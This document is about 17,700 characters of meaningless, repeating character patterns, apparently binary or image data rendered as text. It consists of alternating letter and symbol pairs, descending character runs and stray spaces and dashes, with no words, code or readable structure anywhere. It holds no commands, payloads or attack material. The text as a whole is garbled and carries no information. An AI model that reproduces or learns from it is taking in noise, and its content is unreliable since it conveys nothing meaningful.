wxwxwxwxuvuvuvuvqrqrqrqrmnmnmnmnlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrmnmnmnmnlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrmnmnmnmmlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrmmmmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmmmlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrmmmnmnmnlklklklkhghghghgfefefefebabababa`_`_`_`_}~}~}~}~{zyzyzyzwxwxwxwxutstststqrqrqrqrmnmnmnmnjijijijihghghghgdcdcdcdcbabababa`_`_`_`_}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnjijijijihghghghgdcdcdcdcbabababa`_`_`_`_}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnjijijijihghghghgdcdcdcdcbabababa`_`_`_`_}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnjijijijihghghghgdcdcdcdcbabababa`_`_`_`_}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmmmmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=<;<:999999:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#      `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<999999:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#       `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPONKLKLKLKLIJIJIJIHEFEFEFEFCDCDCDCB?@?@?@?@;<;<;<;<:9:9:98765656565434343210/0/0/0/.-.-.-,+*)*)*)*)('('('&%$#$#$#$#         - -^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -^]^]^]^]\[\[\[\[XWXWXWXWVUVUTSTSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - -^]^]^]^]\[\[\[\[XWXWXWXWTSTSSSSSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#       - - - -^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - -^]^]^]^]\[\[\[\[XWXWXWXWSTSSSSSSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#"!"!        - - - -^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!         - - - -^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!         - - - -^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!         - - - -^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!         - - - -^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!         - - - -^]^]^]^]\[\[\[\[XWXWXWXWTSSSSSSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!       - - - -^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQPMNMNMNMNKLKLKLKJGHGHGHGHEFEFEFEDABABABAB?@?@?@?>;<;<;<;<8787878765656543212121210/0/0/.-,+,+,+,+*)*)*)('&%&%&%&%"!"!"!"!     - - - -^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;:9:9:878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWXWSSSSSSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:99999:878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9:9:878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYXWXWXWVUSSSSSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>9:9:9999878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>99:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYVUVUVUVUSTSSSSSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:99999878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - -^]^]^]^]ZYZYZYZYVUVUVUVUSTSTSTSROPOPOPOPMNMNMNMLIJIJIJIJGHGHGHGFCDCDCDCDABABABA@=>=>=>=>9:9:9:9:87878765434343432121210/.-.-.-.-,+,+,+*)('('('('&%&%&%$#"!"!"!"!  - - \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!        \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:99999965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#       \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         \[\[\[\[ZYZYZYZYVUVUVUVUQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         YYZZ[[\\DDEEFFGG !!""##$)((''&&%qppoonnmhiijjkkl !!""##$)((''&&%qppoonnmddeeffgg!!""##$$((''&&%%ppoonnmm]]^^__``HHIIJJKK$%%&&''(%$$##""!mllkkjjilmmnnoop$%%&&''(%$$##""!mllkkjjihhiijjkk%%&&''(($$##""!!llkkjjiiaabbccddLLMMNNOO())**++,! ihhggffepqqrrsst())**++,! ihhggffellmmnopq))**++,, hhggffeeeeffgghhPPQQRRSS,--..//0eddccbbatuuvvwwx,--..//0eddccbbarssttuuv--..//00ddccbbaa~~}}iijjkkllYYZZ[[\\01122334a``__^^]xyyzz{{|01122334a``__^^]vwwxxyyz11223344``__^^]]||{{zzyymmnnoopp]]^^__``45566778]\\[[ZZY|}}~~45566778]\\[[ZZYz{{||}}~55667788\\[[ZZYYxxwwvvuuqqrrssttaabbccdd899::;;< YXXWWVVU899::;;< YXXWWVVU~~}}||{~99::;;<< XXWWVVUUttssrrqquuvvwwxxeeffgghh<==>>??@ - - UTTSSRRQ<==>>??@ - - UTTSSRRQ{zzyyxxw==>>??@@ - - TTSSRRQQppoonnmmyyzz{{||iijjkkll@AABBCCD QPPOONNM@AABBCCD QPPOONNMwvvuuttsAABBCCDDPPOONNMMllkkjjii}}~~mmssttuuDEEFFGGHMLLKKJJIDEEFFGGHMLLKKJJIsmmllkkjEEFFGGHHLLKKJJIIhhggffeevvwwxxyyHIIJJKKLIHHGGFFEHIIJJKKLIHHGGFFEjiihhggfIIJJKKLLHHGGFFEEddccbbaazz{{||}}LMMNNOOPEDDCCBBALMMNNOOPEDDCCBBAfeeddccbMMNNOOPPDDCCBBAA``__^^]]~~PQQRRSST - - A@@??>>=PQQRRSST - - A@@??>>=baa``__^QQRRSSTT - - @@??>>==\\[[ZZYYTUUVVWWX =<<;;::9TUUVVWWX =<<;;::9^]]\\[[ZUUVVWWXX <<;;::99XXWWVVUUXYYZZ[[\98877665~~}XYYZZ[[\98877665ZYYSSRRQ~~}}YYZZ[[\\88776655TTSSRRQQ\]]^^__`54433221}||{{zzy\]]^^__`54433221QPPOONNM||{{zzyy]]^^__``44332211PPOONNMM`aabbccd100//..-yxxwwvvu`aabbccd100//..-MLLKKJJIxxwwvvuuaabbccdd00//..--LLKKJJII~~}}||deeffggh -,,++**)uttssrrqdeeffggh -,,++**)IHHGGFFEttssrrqqeeffgghh ,,++**))HHGGFFEE{{zzyyxxhiijjkkl !!""##$)((''&&%qppoonnmhiijjkkl !!""##$)((''&&%EDDCCBBAppoonnmmiijjkkll!!""##$$((''&&%%DDCCBBAAwwvvuutt~~}}|lmmnnoop$%%&&''(%$$##""!mllkkjjilmmnnoop$%%&&''(%$$##""!A@@??998llkkjjiimmnnoopp%%&&''(($$##""!!iijjkkll@@??>>==ssmmllkk|{{zzyyxpqqrrsst())**++,! ihhggffepqqrrsst())**++,! 87766554hhggffeeqqrrsstt))**++,, mmnnoopp<<;;::99jjiihhggxwwvvuuttuuvvwwx,--..//0eddccbbatuuvvwwx,--..//043322110ddccbbaauuvvwwxx--..//00qqrrsstt88776655ffeeddcctssrqponxyyzz{{|01122334a``__^^]xyyzz{{|011223340//..--,``__^^]]yyzz{{||11223344uuvvwwxx44332211bbaa``__mmllkkjj|}}~~45566778]\\[[ZZY|}}~~45566778,++**))(\\[[ZZYY}}~~55667788yyzz{{||00//..--^^]]\\[[iihhggff899::;;< YXXWWVVU899::;;< (''&&%%XXWWVVUU99::;;<< }}~~,,++**))ZZYYSSRReeddccbb<==>>??@ - - UTTSSRRQ<==>>??@ - - TTSSRRQQ==>>??@@ - - ((''&&%%QQPPOONNaa``__^^@AABBCCD QPPOONNM@AABBCCD PPOONNMMAABBCCDD$$##""!!MMLLKKJJ]]\\[[ZZDEEFFGGHMLLKKJJIDEEFFGGHLLKKJJIIEEFFGGHH IIHHGGFFYYXWVUTSHIIJJKKLIHHGGFFEHIIJJKKLHHGGFFEEIIJJKKLLEEDDCCBBSRRQQPPOLMMNNOOPEDDCCBBALMMNNOOP - -  DDCCBBAAMMNNOOPPAA@@??99ONNMMLLKPQQRRSST - - A@@??>>=PQQRRSST  - - @@??>>==QQRRSSTT - - 88776655KJJIIHHGTUUVVWWX =<<;;::9TUUVVWWX<<;;::99UUVVWWXX  44332211GFFEEDDC~~}XYYZZ[[\98877665~~}XYYZZ[[\88776655~~}}YYZZ[[\\ - - 00//..--CBBAA@@?}||{{zzy\]]^^__`54433221}||{{zzy\]]^^__` - - 44332211||{{zzyy]]^^__``~~}} - - ,,++**))?>=<;:99yxxwwvvu`aabbccd100//..-yxxwwvvu`aabbccd% 00//..--xxwwvvuuaabbccdd||{{zzyy ((''&&%%88776655uttssrrqdeeffggh -,,++**)uttssrrqdeeffggh%&&''((),,++**))ttssrrqqeeffgghh xxwwvvuu44332211qppoonnmhiijjkkl !!""##$)((''&&%qppoonnmhiijjkkl)**++,,-((''&&%%ppoonnmmiijjkkll!!""##$$ttssrrqq00//..--mllkkjjilmmnnoop$%%&&''(%$$##""!mllkkjjilmmnnoop-..//001$$##""!!llkkjjiimmnnoopp%%&&''((ppoonnmm,,++**))ihhggffepqqrrsst())**++,! ihhggffepqqrrsst12233445 hhggffeeqqrrsstt))**++,,llkkjjii ((''&&%%eddccbbatuuvvwwx,--..//0eddccbbatuuvvwwx56677889!"#$%%&&ddccbbaauuvvwwxx--..//00hhggffee!!""##$$ $#"! a``__^^]xyyzz{{|01122334a``__^^]xyyzz{{|9??@@AAB''(())**``__^^]]yyzz{{||11223344ddccbbaa%%&&''(( - - ]\\[[ZZY|}}~~45566778]\\[[ZZY|}}~~BCCDDEEF++,,--..\\[[ZZYY}}~~55667788``__^^]]))**++,, - - YXXWWVVU899::;;< YXXWWVVUFGGHHIIJ//001122 XXWWVVUU99::;;<<\\[[ZZYY--..//00UTTSSRRQ<==>>??@ - - UTTSSRRQJKKLLMMN33445566 - - TTSSRRQQ==>>??@@XXWWVVUU11223344QPPOONNM@AABBCCD QPPOONNMNOOPPQQR778899:;PPOONNMMAABBCCDDTTSSRRQQ55667788 -MLLKKJJIDEEFFGGHMLLKKJJIRSSYYZZ[<=>??@@ALLKKJJIIEEFFGGHHPPOONNMM99::;;<< - IHHGGFFEHIIJJKKLIHHGGFFE[\\]]^^_ABBCCDDEHHGGFFEEIIJJKKLLLLKKJJII==>>??@@%%&&EDDCCBBALMMNNOOPEDDCCBBA_``aabbcEFFGGHHIDDCCBBAAMMNNOOPPHHGGFFEEAABBCCDD''(())** - - A@@??>>=PQQRRSST - - A@@??>>=cddeeffgIJJKKLLM - - @@??>>==QQRRSSTTDDCCBBAAEEFFGGHH++,,--.. =<<;;::9TUUVVWWX =<<;;::9ghhiijjkMNNOOPPQ <<;;::99UUVVWWXX@@??>>==IIJJKKLL//00112298877665~~}XYYZZ[[\98877665~~}kllmmsstQRRSSTUV88776655~~}}YYZZ[[\\<<;;::99MMNNOOPP3344556654433221}||{{zzy\]]^^__`54433221}||{{zzytuuvvwwxWXYYZZ[[44332211||{{zzyy]]^^__``88776655QQRRSSTT778899??100//..-yxxwwvvu`aabbccd100//..-yxxwwvvuxyyzz{{|\\]]^^__00//..--xxwwvvuuaabbccdd44332211UUVVWWXX@@AABBCC -,,++**)uttssrrqdeeffggh -,,++**)uttssrrq|}}~~``aabbcc ,,++**))ttssrrqqeeffgghh00//..--,,++**))ttssrrqqeeffgghhHHIIJJKK !,++**))(tssrrqqpeffgghhi !,++**))(tssrrqqp}~~aabbccdd !!++**))((ssrrqqppffgghhii !!++**))((iihhggff~~}}||{fgghhiij !!"+**))(('srrqqppofgghhiij !!"+**))(('feeddccbeddccbba((''&&%%ppoonnmmiijjkkllLLMMNNOO!""##$$%(''&&%%$poonnmmlijjkkllm!""##$$%(''&&%%$poonnmmleeffgghh""##$$%%''&&%%$$oonnmmlljjkkllmm""##$$%%''&&%%$$eeddccbb{zzyyxxwjkkllmmn"##$$%%&'&&%%$$#onnmmllkjkkllmmn"##$$%%&'&&%%$$#baa``__^a``__^^]$$##""!!llkkjjiimmnnooppPPQQRRSS%&&''(()$##""!! lkkjjiihmnnooppq%&&''(()$##""!! lkkjjiihiijjkkll&&''(())##""!! kkjjiihhnnooppqq&&''(())##""!! aa``__^^wvvuuttsnooppqqr&''(())*#""!! kjjiihhgnooppqqr&''(())*#""!! ^]]\\[[Z]\\[[ZZY hhggffeeqqrrssttYYZZ[[\\)**++,,- hggffeedqrrssttu)**++,,- hggffeedmmnopqrs**++,,--ggffeeddrrssttuu**++,,--]]\\[[ZZsrqponmmrssttuuv*++,,--.gffeeddcrssttuuv*++,,--.ZYYSSRRQYXXWWVVUddccbbaauuvvwwxx]]^^__``-..//001dccbbaa`uvvwwxxy-..//001dccbbaa`sttuuvvw..//0011ccbbaa``vvwwxxyy..//0011YYSSRRQQllkkjjiivwwxxyyz.//00112cbbaa``_vwwxxyyz.//00112QPPOONNMUTTSSRRQ``__^^]]yyzz{{||aabbccdd12233445`__^^]]\yzz{{||}12233445`__^^]]\wxxyyzz{22334455__^^]]\\zz{{||}}22334455PPOONNMMhhggffeez{{||}}~23344556_^^]]\\[z{{||}}~23344556MLLKKJJIQPPOONNM\\[[ZZYY}}~~eeffgghh56677889\[[ZZYYX}~~56677889\[[ZZYYX~{||}}~~66778899[[ZZYYXX~~66778899LLKKJJIIddccbbaa~6778899:[ZZYYXXW~6778899:IHHGGFFEMLLKKJJI XXWWVVUUiijjkkll9::;;<<= XWWVVUUT9::;;<<= XWWVVUUT~}}||{{z::;;<<== WWVVUUTT::;;<<== HHGGFFEE``__^^]]:;;<<==> WVVUUTTS:;;<<==> EDDCCBBAIHHGGFFE - - TTSSRRQQmmssttuu=>>??@@A - - TSSRRQQP=>>??@@A - - TSSRRQQPzyyxxwwv>>??@@AA - - SSRRQQPP>>??@@AA - - DDCCBBAA\\[[ZZYY>??@@AAB - - SRRQQPPO>??@@AAB - - A@@??998EDDCCBBAPPOONNMMvvwwxxyyABBCCDDEPOONNMMLABBCCDDEPOONNMMLvuuttssmBBCCDDEEOONNMMLLBBCCDDEE@@??9988XWVUTSSRBCCDDEEFONNMMLLKBCCDDEEF87766554A@@??>>=LLKKJJIIzz{{||}}EFFGGHHILKKJJIIHEFFGGHHILKKJJIIHmllkkjjiFFGGHHIIKKJJIIHHFFGGHHII77665544RQQPPOONFGGHHIIJKJJIIHHGFGGHHIIJ43322110=<<;;::9HHGGFFEE~~IJJKKLLMHGGFFEEDIJJKKLLMHGGFFEEDihhggffeJJKKLLMMGGFFEEDDJJKKLLMM33221100NMMLLKKJJKKLLMMNGFFEEDDCJKKLLMMN0//..--,98877665DDCCBBAAMNNOOPPQ DCCBBAA@MNNOOPPQ DCCBBAA@eddccbbaNNOOPPQQ CCBBAA@@NNOOPPQQ //..--,,JIIHHGGFNOOPPQQR -CBBAA@@?NOOPPQQR -,++**))(54433221 - - @@??>>==QRRSSTTU - - @??>>==>==>==<>==<<;RSSTTUUV - (''&&%%100//..- <<;;::99~~}}||UVVWWXXY <;;::998UVVWWXXY 